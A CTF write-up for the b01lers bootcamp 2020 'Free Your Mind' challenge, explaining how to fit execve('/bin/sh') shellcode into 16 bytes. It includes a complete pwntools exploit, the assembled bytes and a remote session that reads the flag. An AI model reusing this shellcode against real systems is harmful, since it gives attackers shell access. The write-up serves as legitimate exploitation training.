# b01lers bootcamp CTF 2020
## Free Your Mind
> 200>> Next up, hack the matrix again, but this time, insert your own code.>> `nc chal.ctf.b01lers.com 1007`> > [shellcoding](shellcoding)  > [shellcoding.c](shellcoding.c)
Tags: _pwn_ _x86-64_ _remote-shell_ _shellcode_
## Summary
Easy size restricted shellcode simulator. 
## Analysis
### Checksec
```    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX disabled    PIE:      No PIE (0x400000)    RWX:      Has RWX segments```
Stack canary and nothing else.  This _is_ a shellcode task.
### Read the source
```c#include <stdio.h>#include <unistd.h>
char shellcode[16];
int main() {    char binsh[8] = "/bin/sh";
    setvbuf(stdout, 0, 2, 0);    setvbuf(stderr, 0, 2, 0);
    printf("I'm trying to free your mind, Neo. But I can only show you the door. You're the one that has to walk through it.\n");    read(0, shellcode, 16);
    ((void (*)()) (shellcode))();}```
The string `/bin/sh` is provided; without PIE it'll be easy to find and use.  The only restriction is that our shellcode must be no more than 16 bytes.
With that limitation it's worth checking if we get anything for free.
Set a breakpoint just before the shellcode call and look at the registers:
```gef➤  b *main+147Breakpoint 1 at 0x401229```
Registers:
```$rax   : 0x0$rbx   : 0x0000000000401250  →  <__libc_csu_init+0> endbr64$rcx   : 0x00007ffff7ed2142  →  0x5677fffff0003d48 ("H="?)$rdx   : 0x0000000000404090  →  0x0000000a68616c62 ("blah\n"?)$rsp   : 0x00007fffffffe330  →  0x0068732f6e69622f ("/bin/sh"?)$rbp   : 0x00007fffffffe340  →  0x0000000000000000$rsi   : 0x0000000000404090  →  0x0000000a68616c62 ("blah\n"?)$rdi   : 0x0$rip   : 0x0000000000401229  →  <main+147> call rdx$r8    : 0x71$r9    : 0x00007ffff7fe0d50  →   endbr64$r10   : 0xfffffffffffff27d$r11   : 0x246$r12   : 0x00000000004010b0  →  <_start+0> endbr64$r13   : 0x00007fffffffe430  →  0x0000000000000001$r14   : 0x0$r15   : 0x0```
To use `execve` we must have both `$rsi` and `$rdx` set to zero.  No free rides here, both will have to be set.
With `$rax` already zero we can get by with the smaller `mov al,0x3b` instruction.
## Exploit
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./shellcoding')context.log_level = 'INFO'
if not args.REMOTE:    context.log_file = 'local.log'    p = process(binary.path)else:    context.log_file = 'remote.log'    p = remote('chal.ctf.b01lers.com', 1007)
payload = asm(f'''mov edi,{hex(binary.search(b'/bin/sh').__next__())}xor rsi,rsixor rdx,rdxmov al,0x3bsyscall''')
log.info('payload length: ' + str(len(payload)))
p.sendafter('walk through it.\n',payload)p.interactive()```
Nothing much here but our space optimized (15-byte) payload.
For the curious the bytes for each instruction:
```assemblybf b3 11 40 00       	mov edi,0x4011b348 31 f6             	xor rsi,rsi48 31 d2             	xor rdx,rdxb0 3b                	mov al,0x3b0f 05                	syscall```
Output:
```bash# ./exploit.py REMOTE=1[*] '/pwd/datajerk/b01lersbootcampctf2020/free_your_mind/shellcoding'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX disabled    PIE:      No PIE (0x400000)    RWX:      Has RWX segments[+] Opening connection to chal.ctf.b01lers.com on port 1007: Done[*] payload length: 15[*] Switching to interactive mode$ iduid=1000(shellcoding) gid=1000(shellcoding) groups=1000(shellcoding)$ ls -ltotal 36-r-xr-x--- 1 root shellcoding    86 Oct  2 15:31 Makefile-r--r----- 1 root shellcoding    38 Oct  2 15:31 flag.txt-r-xr-x--- 1 root shellcoding 16912 Oct  3 04:08 shellcoding-r-xr-x--- 1 root shellcoding   362 Oct  2 15:31 shellcoding.c-r-xr-x--- 1 root shellcoding    51 Oct  2 15:31 wrapper.sh$ cat flag.txtflag{cust0m_sh3llc0d1ng_c4n_b33_c00l}```